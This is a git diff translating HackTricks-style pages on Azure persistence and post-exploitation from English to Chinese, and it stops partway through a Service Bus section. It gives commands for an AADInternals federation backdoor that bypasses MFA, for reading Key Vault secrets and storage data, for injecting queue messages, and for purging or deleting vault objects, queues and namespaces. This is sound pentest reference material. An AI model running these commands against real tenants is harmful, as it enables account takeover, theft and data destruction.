||||
|
||||
拥有租户的 GA 权限,可以**添加一个新域**(必须经过验证),将其身份验证类型配置为联邦,并将域配置为**信任特定证书**(以下命令中的 any.sts)和颁发者:
|
||||
```powershell
|
||||
# Using AADInternals
|
||||
ConvertTo-AADIntBackdoor -DomainName cyberranges.io
|
||||
@@ -60,13 +51,8 @@ Get-MsolUser | select userPrincipalName,ImmutableID
|
||||
# Access any cloud app as the user
|
||||
Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA$true
|
||||
```
|
||||
|
||||
## References
|
||||
## 参考
|
||||
|
||||
- [https://aadinternalsbackdoor.azurewebsites.net/](https://aadinternalsbackdoor.azurewebsites.net/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,19 +1,18 @@
|
||||
# Az - Queue Storage Persistence
|
||||
# Az - 队列存储持久性
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Queue
|
||||
## 队列
|
||||
|
||||
For more information check:
|
||||
有关更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-queue-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
|
||||
|
||||
This permission allows an attacker to create or modify queues and their properties within the storage account. It can be used to create unauthorized queues, modify metadata, or change access control lists (ACLs) to grant or restrict access. This capability could disrupt workflows, inject malicious data, exfiltrate sensitive information, or manipulate queue settings to enable further attacks.
|
||||
### 操作: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
|
||||
|
||||
此权限允许攻击者在存储帐户内创建或修改队列及其属性。它可以用于创建未经授权的队列、修改元数据或更改访问控制列表(ACL)以授予或限制访问。此能力可能会干扰工作流程、注入恶意数据、外泄敏感信息或操纵队列设置以启用进一步的攻击。
|
||||
```bash
|
||||
az storage queue create --name <new-queue-name> --account-name <storage-account>
|
||||
|
||||
@@ -21,15 +20,10 @@ az storage queue metadata update --name <queue-name> --metadata key1=value1 key2
|
||||
|
||||
az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name <storage-account>
|
||||
```
|
||||
|
||||
## References
|
||||
## 参考
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,44 +2,36 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Storage Privesc
|
||||
## 存储权限提升
|
||||
|
||||
For more information about storage check:
|
||||
有关存储的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-storage.md
|
||||
{{#endref}}
|
||||
|
||||
### Common tricks
|
||||
### 常见技巧
|
||||
|
||||
- Keep the access keys
|
||||
- Generate SAS
|
||||
- User delegated are 7 days max
|
||||
- 保留访问密钥
|
||||
- 生成SAS
|
||||
- 用户委托最多7天
|
||||
|
||||
### Microsoft.Storage/storageAccounts/blobServices/containers/update && Microsoft.Storage/storageAccounts/blobServices/deletePolicy/write
|
||||
|
||||
These permissions allows the user to modify blob service properties for the container delete retention feature, which enables or configures the retention period for deleted containers. These permissions can be used for maintaining persistence to provide a window of opportunity for the attacker to recover or manipulate deleted containers that should have been permanently removed and accessing sensitive information.
|
||||
|
||||
这些权限允许用户修改容器删除保留功能的blob服务属性,该功能启用或配置已删除容器的保留期。这些权限可用于维持持久性,为攻击者提供恢复或操纵应被永久删除的已删除容器的机会,并访问敏感信息。
|
||||
```bash
|
||||
az storage account blob-service-properties update \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--enable-container-delete-retention true \
|
||||
--container-delete-retention-days 100
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--enable-container-delete-retention true \
|
||||
--container-delete-retention-days 100
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action
|
||||
|
||||
These permissions can lead to the attacker to modify the retention policies, restoring deleted data, and accessing sensitive information.
|
||||
|
||||
这些权限可能导致攻击者修改保留策略、恢复已删除的数据以及访问敏感信息。
|
||||
```bash
|
||||
az storage blob service-properties delete-policy update \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--enable true \
|
||||
--days-retained 100
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--enable true \
|
||||
--days-retained 100
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,28 +2,24 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## VMs persistence
|
||||
## VMs 持久性
|
||||
|
||||
For more information about VMs check:
|
||||
有关 VMs 的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/vms/
|
||||
{{#endref}}
|
||||
|
||||
### Backdoor VM applications, VM Extensions & Images <a href="#backdoor-instances" id="backdoor-instances"></a>
|
||||
### 后门 VM 应用程序、VM 扩展和镜像 <a href="#backdoor-instances" id="backdoor-instances"></a>
|
||||
|
||||
An attacker identifies applications, extensions or images being frequently used in the Azure account, he could insert his code in VM applications and extensions so every time they get installed the backdoor is executed.
|
||||
攻击者识别出在 Azure 账户中频繁使用的应用程序、扩展或镜像,他可以在 VM 应用程序和扩展中插入他的代码,以便每次安装时都执行后门。
|
||||
|
||||
### Backdoor Instances <a href="#backdoor-instances" id="backdoor-instances"></a>
|
||||
### 后门实例 <a href="#backdoor-instances" id="backdoor-instances"></a>
|
||||
|
||||
An attacker could get access to the instances and backdoor them:
|
||||
攻击者可以访问实例并对其进行后门处理:
|
||||
|
||||
- Using a traditional **rootkit** for example
|
||||
- Adding a new **public SSH key** (check [EC2 privesc options](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc))
|
||||
- Backdooring the **User Data**
|
||||
- 例如使用传统的 **rootkit**
|
||||
- 添加新的 **公共 SSH 密钥**(查看 [EC2 privesc 选项](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc))
|
||||
- 对 **用户数据** 进行后门处理
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# Az - Post Exploitation
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# Az - 后期利用
|
||||
|
||||
+13
-21
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Storage Privesc
|
||||
## 存储权限提升
|
||||
|
||||
For more information about storage check:
|
||||
有关存储的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-storage.md
|
||||
@@ -12,38 +12,30 @@ For more information about storage check:
|
||||
|
||||
### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
|
||||
|
||||
A principal with this permission will be able to **list** the blobs (files) inside a container and **download** the files which might contain **sensitive information**.
|
||||
|
||||
具有此权限的主体将能够**列出**容器内的 blob(文件)并**下载**可能包含**敏感信息**的文件。
|
||||
```bash
|
||||
# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
|
||||
az storage blob list \
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> --auth-mode login
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> --auth-mode login
|
||||
|
||||
az storage blob download \
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
-n file.txt --auth-mode login
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
-n file.txt --auth-mode login
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
|
||||
|
||||
A principal with this permission will be able to **write and overwrite files in containers** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some code stored in a blob):
|
||||
|
||||
具有此权限的主体将能够**在容器中写入和覆盖文件**,这可能使他造成一些损害甚至提升权限(例如,覆盖存储在 blob 中的某些代码):
|
||||
```bash
|
||||
# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
|
||||
az storage blob upload \
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
--file /tmp/up.txt --auth-mode login --overwrite
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
--file /tmp/up.txt --auth-mode login --overwrite
|
||||
```
|
||||
|
||||
### \*/delete
|
||||
|
||||
This would allow to delete objects inside the storage account which might **interrupt some services** or make the client **lose valuable information**.
|
||||
这将允许删除存储帐户中的对象,这可能会**中断某些服务**或使客户端**丢失有价值的信息**。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+17
-25
@@ -1,10 +1,10 @@
|
||||
# Az - File Share Post Exploitation
|
||||
# Az - 文件共享后渗透
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
File Share Post Exploitation
|
||||
文件共享后渗透
|
||||
|
||||
For more information about file shares check:
|
||||
有关文件共享的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-file-shares.md
|
||||
@@ -12,41 +12,33 @@ For more information about file shares check:
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read
|
||||
|
||||
A principal with this permission will be able to **list** the files inside a file share and **download** the files which might contain **sensitive information**.
|
||||
|
||||
具有此权限的主体将能够**列出**文件共享中的文件并**下载**可能包含**敏感信息**的文件。
|
||||
```bash
|
||||
# List files inside an azure file share
|
||||
az storage file list \
|
||||
--account-name <name> \
|
||||
--share-name <share-name> \
|
||||
--auth-mode login --enable-file-backup-request-intent
|
||||
--account-name <name> \
|
||||
--share-name <share-name> \
|
||||
--auth-mode login --enable-file-backup-request-intent
|
||||
|
||||
# Download an specific file
|
||||
az storage file download \
|
||||
--account-name <name> \
|
||||
--share-name <share-name> \
|
||||
--path <filename-to-download> \
|
||||
--dest /path/to/down \
|
||||
--auth-mode login --enable-file-backup-request-intent
|
||||
--account-name <name> \
|
||||
--share-name <share-name> \
|
||||
--path <filename-to-download> \
|
||||
--dest /path/to/down \
|
||||
--auth-mode login --enable-file-backup-request-intent
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action
|
||||
|
||||
A principal with this permission will be able to **write and overwrite files in file shares** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some code stored in a file share):
|
||||
|
||||
具有此权限的主体将能够**在文件共享中写入和覆盖文件**,这可能使他造成一些损害甚至提升权限(例如,覆盖存储在文件共享中的某些代码):
|
||||
```bash
|
||||
az storage blob upload \
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
--file /tmp/up.txt --auth-mode login --overwrite
|
||||
--account-name <acc-name> \
|
||||
--container-name <container-name> \
|
||||
--file /tmp/up.txt --auth-mode login --overwrite
|
||||
```
|
||||
|
||||
### \*/delete
|
||||
|
||||
This would allow to delete file inside the shared filesystem which might **interrupt some services** or make the client **lose valuable information**.
|
||||
这将允许删除共享文件系统中的文件,这可能会**中断某些服务**或使客户端**丢失重要信息**。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+2
-6
@@ -4,18 +4,14 @@
|
||||
|
||||
## Funciton Apps Post Exploitaiton
|
||||
|
||||
For more information about function apps check:
|
||||
有关函数应用的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-function-apps.md
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION] > **Function Apps post exploitation tricks are very related to the privilege escalation tricks** so you can find all of them there:
|
||||
> [!CAUTION] > **函数应用的后期利用技巧与权限提升技巧密切相关**,因此您可以在这里找到所有相关内容:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-functions-app-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+12
-38
@@ -4,7 +4,7 @@
|
||||
|
||||
## Azure Key Vault
|
||||
|
||||
For more information about this service check:
|
||||
有关此服务的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/keyvault.md
|
||||
@@ -12,27 +12,22 @@ For more information about this service check:
|
||||
|
||||
### Microsoft.KeyVault/vaults/secrets/getSecret/action
|
||||
|
||||
This permission will allow a principal to read the secret value of secrets:
|
||||
|
||||
此权限将允许主体读取机密的值:
|
||||
```bash
|
||||
az keyvault secret show --vault-name <vault name> --name <secret name>
|
||||
|
||||
# Get old version secret value
|
||||
az keyvault secret show --id https://<KeyVaultName>.vault.azure.net/secrets/<KeyVaultName>/<idOldVersion>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/certificates/purge/action**
|
||||
|
||||
This permission allows a principal to permanently delete a certificate from the vault.
|
||||
|
||||
此权限允许主体从保管库中永久删除证书。
|
||||
```bash
|
||||
az keyvault certificate purge --vault-name <vault name> --name <certificate name>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/keys/encrypt/action**
|
||||
|
||||
This permission allows a principal to encrypt data using a key stored in the vault.
|
||||
|
||||
此权限允许主体使用存储在保管库中的密钥加密数据。
|
||||
```bash
|
||||
az keyvault key encrypt --vault-name <vault name> --name <key name> --algorithm <algorithm> --value <value>
|
||||
|
||||
@@ -40,76 +35,55 @@ az keyvault key encrypt --vault-name <vault name> --name <key name> --algorithm
|
||||
echo "HackTricks" | base64 # SGFja1RyaWNrcwo=
|
||||
az keyvault key encrypt --vault-name testing-1231234 --name testing --algorithm RSA-OAEP-256 --value SGFja1RyaWNrcwo=
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/keys/decrypt/action**
|
||||
|
||||
This permission allows a principal to decrypt data using a key stored in the vault.
|
||||
|
||||
此权限允许主体使用存储在保管库中的密钥解密数据。
|
||||
```bash
|
||||
az keyvault key decrypt --vault-name <vault name> --name <key name> --algorithm <algorithm> --value <value>
|
||||
|
||||
# Example
|
||||
az keyvault key decrypt --vault-name testing-1231234 --name testing --algorithm RSA-OAEP-256 --value "ISZ+7dNcDJXLPR5MkdjNvGbtYK3a6Rg0ph/+3g1IoUrCwXnF791xSF0O4rcdVyyBnKRu0cbucqQ/+0fk2QyAZP/aWo/gaxUH55pubS8Zjyw/tBhC5BRJiCtFX4tzUtgTjg8lv3S4SXpYUPxev9t/9UwUixUlJoqu0BgQoXQhyhP7PfgAGsxayyqxQ8EMdkx9DIR/t9jSjv+6q8GW9NFQjOh70FCjEOpYKy9pEGdLtPTrirp3fZXgkYfIIV77TXuHHdR9Z9GG/6ge7xc9XT6X9ciE7nIXNMQGGVCcu3JAn9BZolb3uL7PBCEq+k2rH4tY0jwkxinM45tg38Re2D6CEA==" # This is the result from the previous encryption
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/keys/purge/action**
|
||||
|
||||
This permission allows a principal to permanently delete a key from the vault.
|
||||
|
||||
此权限允许主体从保管库中永久删除密钥。
|
||||
```bash
|
||||
az keyvault key purge --vault-name <vault name> --name <key name>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/secrets/purge/action**
|
||||
|
||||
This permission allows a principal to permanently delete a secret from the vault.
|
||||
|
||||
此权限允许主体从保管库中永久删除一个秘密。
|
||||
```bash
|
||||
az keyvault secret purge --vault-name <vault name> --name <secret name>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/secrets/setSecret/action**
|
||||
|
||||
This permission allows a principal to create or update a secret in the vault.
|
||||
|
||||
此权限允许主体在保管库中创建或更新一个秘密。
|
||||
```bash
|
||||
az keyvault secret set --vault-name <vault name> --name <secret name> --value <secret value>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/certificates/delete**
|
||||
|
||||
This permission allows a principal to delete a certificate from the vault. The certificate is moved to the "soft-delete" state, where it can be recovered unless purged.
|
||||
|
||||
此权限允许主体从保管库中删除证书。证书被移动到“软删除”状态,在此状态下可以恢复,除非被清除。
|
||||
```bash
|
||||
az keyvault certificate delete --vault-name <vault name> --name <certificate name>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/keys/delete**
|
||||
|
||||
This permission allows a principal to delete a key from the vault. The key is moved to the "soft-delete" state, where it can be recovered unless purged.
|
||||
|
||||
此权限允许主体从保管库中删除密钥。密钥被移动到“软删除”状态,在此状态下可以恢复,除非被清除。
|
||||
```bash
|
||||
az keyvault key delete --vault-name <vault name> --name <key name>
|
||||
```
|
||||
|
||||
### **Microsoft.KeyVault/vaults/secrets/delete**
|
||||
|
||||
This permission allows a principal to delete a secret from the vault. The secret is moved to the "soft-delete" state, where it can be recovered unless purged.
|
||||
|
||||
此权限允许主体从保管库中删除一个秘密。该秘密被移动到“软删除”状态,在此状态下可以恢复,除非被清除。
|
||||
```bash
|
||||
az keyvault secret delete --vault-name <vault name> --name <secret name>
|
||||
```
|
||||
|
||||
### Microsoft.KeyVault/vaults/secrets/restore/action
|
||||
|
||||
This permission allows a principal to restore a secret from a backup.
|
||||
|
||||
此权限允许主体从备份中恢复一个秘密。
|
||||
```bash
|
||||
az keyvault secret restore --vault-name <vault-name> --file <backup-file-path>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+17
-35
@@ -1,10 +1,10 @@
|
||||
# Az - Queue Storage Post Exploitation
|
||||
# Az - 队列存储后期利用
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Queue
|
||||
## 队列
|
||||
|
||||
For more information check:
|
||||
有关更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-queue-enum.md
|
||||
@@ -12,66 +12,53 @@ For more information check:
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/read`
|
||||
|
||||
An attacker with this permission can peek messages from an Azure Storage Queue. This allows the attacker to view the content of messages without marking them as processed or altering their state. This could lead to unauthorized access to sensitive information, enabling data exfiltration or gathering intelligence for further attacks.
|
||||
|
||||
拥有此权限的攻击者可以从 Azure 存储队列中查看消息。这使攻击者能够查看消息的内容,而不将其标记为已处理或更改其状态。这可能导致对敏感信息的未经授权访问,从而使数据外泄或收集进一步攻击的情报。
|
||||
```bash
|
||||
az storage message peek --queue-name <queue_name> --account-name <storage_account>
|
||||
```
|
||||
|
||||
**Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services.
|
||||
**潜在影响**:未经授权访问队列、消息暴露或未经授权用户或服务对队列的操控。
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/process/action`
|
||||
|
||||
With this permission, an attacker can retrieve and process messages from an Azure Storage Queue. This means they can read the message content and mark it as processed, effectively hiding it from legitimate systems. This could lead to sensitive data being exposed, disruptions in how messages are handled, or even stopping important workflows by making messages unavailable to their intended users.
|
||||
|
||||
拥有此权限,攻击者可以从 Azure 存储队列中检索和处理消息。这意味着他们可以读取消息内容并将其标记为已处理,从而有效地将其隐藏于合法系统。这可能导致敏感数据被暴露、消息处理方式的中断,甚至通过使消息对其预期用户不可用而停止重要工作流程。
|
||||
```bash
|
||||
az storage message get --queue-name <queue_name> --account-name <storage_account>
|
||||
```
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/add/action`
|
||||
|
||||
With this permission, an attacker can add new messages to an Azure Storage Queue. This allows them to inject malicious or unauthorized data into the queue, potentially triggering unintended actions or disrupting downstream services that process the messages.
|
||||
|
||||
通过此权限,攻击者可以向 Azure 存储队列添加新消息。这使他们能够将恶意或未经授权的数据注入队列,可能触发意外的操作或干扰处理消息的下游服务。
|
||||
```bash
|
||||
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
|
||||
```
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/write`
|
||||
|
||||
This permission allows an attacker to add new messages or update existing ones in an Azure Storage Queue. By using this, they could insert harmful content or alter existing messages, potentially misleading applications or causing undesired behaviors in systems that rely on the queue.
|
||||
|
||||
此权限允许攻击者在 Azure 存储队列中添加新消息或更新现有消息。通过使用此权限,他们可以插入有害内容或更改现有消息,可能会误导依赖于该队列的应用程序或导致系统出现不希望的行为。
|
||||
```bash
|
||||
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
|
||||
|
||||
#Update the message
|
||||
az storage message update --queue-name <queue-name> \
|
||||
--id <message-id> \
|
||||
--pop-receipt <pop-receipt> \
|
||||
--content "Updated message content" \
|
||||
--visibility-timeout <timeout-in-seconds> \
|
||||
--account-name <storage-account>
|
||||
--id <message-id> \
|
||||
--pop-receipt <pop-receipt> \
|
||||
--content "Updated message content" \
|
||||
--visibility-timeout <timeout-in-seconds> \
|
||||
--account-name <storage-account>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/delete`
|
||||
|
||||
This permission allows an attacker to delete queues within the storage account. By leveraging this capability, an attacker can permanently remove queues and all their associated messages, causing significant disruption to workflows and resulting in critical data loss for applications that rely on the affected queues. This action can also be used to sabotage services by removing essential components of the system.
|
||||
|
||||
此权限允许攻击者删除存储帐户中的队列。通过利用此能力,攻击者可以永久删除队列及其所有相关消息,从而对工作流程造成重大干扰,并导致依赖受影响队列的应用程序的关键数据丢失。此操作还可以通过删除系统的关键组件来破坏服务。
|
||||
```bash
|
||||
az storage queue delete --name <queue-name> --account-name <storage-account>
|
||||
```
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/delete`
|
||||
|
||||
With this permission, an attacker can clear all messages from an Azure Storage Queue. This action removes all messages, disrupting workflows and causing data loss for systems dependent on the queue.
|
||||
|
||||
通过此权限,攻击者可以清除 Azure 存储队列中的所有消息。此操作会删除所有消息,干扰工作流程并导致依赖于该队列的系统数据丢失。
|
||||
```bash
|
||||
az storage message clear --queue-name <queue-name> --account-name <storage-account>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
|
||||
|
||||
This permission allows an attacker to create or modify queues and their properties within the storage account. It can be used to create unauthorized queues, modify metadata, or change access control lists (ACLs) to grant or restrict access. This capability could disrupt workflows, inject malicious data, exfiltrate sensitive information, or manipulate queue settings to enable further attacks.
|
||||
|
||||
此权限允许攻击者在存储帐户内创建或修改队列及其属性。它可以用于创建未经授权的队列、修改元数据或更改访问控制列表(ACL)以授予或限制访问。此能力可能会干扰工作流程、注入恶意数据、外泄敏感信息或操纵队列设置以启用进一步的攻击。
|
||||
```bash
|
||||
az storage queue create --name <new-queue-name> --account-name <storage-account>
|
||||
|
||||
@@ -79,15 +66,10 @@ az storage queue metadata update --name <queue-name> --metadata key1=value1 key2
|
||||
|
||||
az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name <storage-account>
|
||||
```
|
||||
|
||||
## References
|
||||
## 参考
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+12
-32
@@ -4,7 +4,7 @@
|
||||
|
||||
## Service Bus
|
||||
|
||||
For more information check:
|
||||
有关更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-servicebus-enum.md
|
||||
@@ -12,81 +12,65 @@ For more information check:
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/Delete`
|
||||
|
||||
An attacker with this permission can delete an entire Azure Service Bus namespace. This action removes the namespace and all associated resources, including queues, topics, subscriptions, and their messages, causing widespread disruption and permanent data loss across all dependent systems and workflows.
|
||||
|
||||
拥有此权限的攻击者可以删除整个 Azure Service Bus 命名空间。此操作会删除命名空间及所有相关资源,包括队列、主题、订阅及其消息,导致所有依赖系统和工作流的广泛中断和永久数据丢失。
|
||||
```bash
|
||||
az servicebus namespace delete --resource-group <ResourceGroupName> --name <NamespaceName>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/topics/Delete`
|
||||
|
||||
An attacker with this permission can delete an Azure Service Bus topic. This action removes the topic and all its associated subscriptions and messages, potentially causing loss of critical data and disrupting systems and workflows relying on the topic.
|
||||
|
||||
具有此权限的攻击者可以删除 Azure Service Bus 主题。此操作将删除该主题及其所有相关的订阅和消息,可能导致关键数据丢失,并干扰依赖该主题的系统和工作流程。
|
||||
```bash
|
||||
az servicebus topic delete --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <TopicName>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/queues/Delete`
|
||||
|
||||
An attacker with this permission can delete an Azure Service Bus queue. This action removes the queue and all the messages within it, potentially causing loss of critical data and disrupting systems and workflows dependent on the queue.
|
||||
|
||||
拥有此权限的攻击者可以删除 Azure Service Bus 队列。此操作会删除队列及其内的所有消息,可能导致关键数据丢失,并干扰依赖于该队列的系统和工作流程。
|
||||
```bash
|
||||
az servicebus queue delete --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <QueueName>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/topics/subscriptions/Delete`
|
||||
|
||||
An attacker with this permission can delete an Azure Service Bus subscription. This action removes the subscription and all its associated messages, potentially disrupting workflows, data processing, and system operations relying on the subscription.
|
||||
|
||||
拥有此权限的攻击者可以删除 Azure Service Bus 订阅。此操作将删除订阅及其所有相关消息,可能会干扰依赖于该订阅的工作流程、数据处理和系统操作。
|
||||
```bash
|
||||
az servicebus topic subscription delete --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --topic-name <TopicName> --name <SubscriptionName>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/write` & `Microsoft.ServiceBus/namespaces/read`
|
||||
|
||||
An attacker with permissions to create or modify Azure Service Bus namespaces can exploit this to disrupt operations, deploy unauthorized resources, or expose sensitive data. They can alter critical configurations such as enabling public network access, downgrading encryption settings, or changing SKUs to degrade performance or increase costs. Additionally, they could disable local authentication, manipulate replica locations, or adjust TLS versions to weaken security controls, making namespace misconfiguration a significant post-exploitation risk.
|
||||
|
||||
拥有创建或修改 Azure Service Bus 命名空间权限的攻击者可以利用这一点来干扰操作、部署未经授权的资源或暴露敏感数据。他们可以更改关键配置,例如启用公共网络访问、降低加密设置或更改 SKU,以降低性能或增加成本。此外,他们还可以禁用本地身份验证、操纵副本位置或调整 TLS 版本,以削弱安全控制,使命名空间错误配置成为一个重要的后期利用风险。
|
||||
```bash
|
||||
az servicebus namespace create --resource-group <ResourceGroupName> --name <NamespaceName> --location <Location>
|
||||
az servicebus namespace update --resource-group <ResourceGroupName> --name <NamespaceName> --tags <Key=Value>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/queues/write` (`Microsoft.ServiceBus/namespaces/queues/read`)
|
||||
|
||||
An attacker with permissions to create or modify Azure Service Bus queues (to modiffy the queue you will also need the Action:`Microsoft.ServiceBus/namespaces/queues/read`) can exploit this to intercept data, disrupt workflows, or enable unauthorized access. They can alter critical configurations such as forwarding messages to malicious endpoints, adjusting message TTL to retain or delete data improperly, or enabling dead-lettering to interfere with error handling. Additionally, they could manipulate queue sizes, lock durations, or statuses to disrupt service functionality or evade detection, making this a significant post-exploitation risk.
|
||||
|
||||
拥有创建或修改 Azure Service Bus 队列权限的攻击者(要修改队列,您还需要 Action:`Microsoft.ServiceBus/namespaces/queues/read`)可以利用这一点来拦截数据、干扰工作流程或启用未经授权的访问。他们可以更改关键配置,例如将消息转发到恶意端点、调整消息 TTL 以不当保留或删除数据,或启用死信处理以干扰错误处理。此外,他们还可以操纵队列大小、锁定持续时间或状态,以干扰服务功能或逃避检测,这使得这成为一个重要的后期利用风险。
|
||||
```bash
|
||||
az servicebus queue create --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <QueueName>
|
||||
az servicebus queue update --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <QueueName>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/topics/write` (`Microsoft.ServiceBus/namespaces/topics/read`)
|
||||
|
||||
An attacker with permissions to create or modify topics (to modiffy the topic you will also need the Action:`Microsoft.ServiceBus/namespaces/topics/read`) within an Azure Service Bus namespace can exploit this to disrupt message workflows, expose sensitive data, or enable unauthorized actions. Using commands like az servicebus topic update, they can manipulate configurations such as enabling partitioning for scalability misuse, altering TTL settings to retain or discard messages improperly, or disabling duplicate detection to bypass controls. Additionally, they could adjust topic size limits, change status to disrupt availability, or configure express topics to temporarily store intercepted messages, making topic management a critical focus for post-exploitation mitigation.
|
||||
|
||||
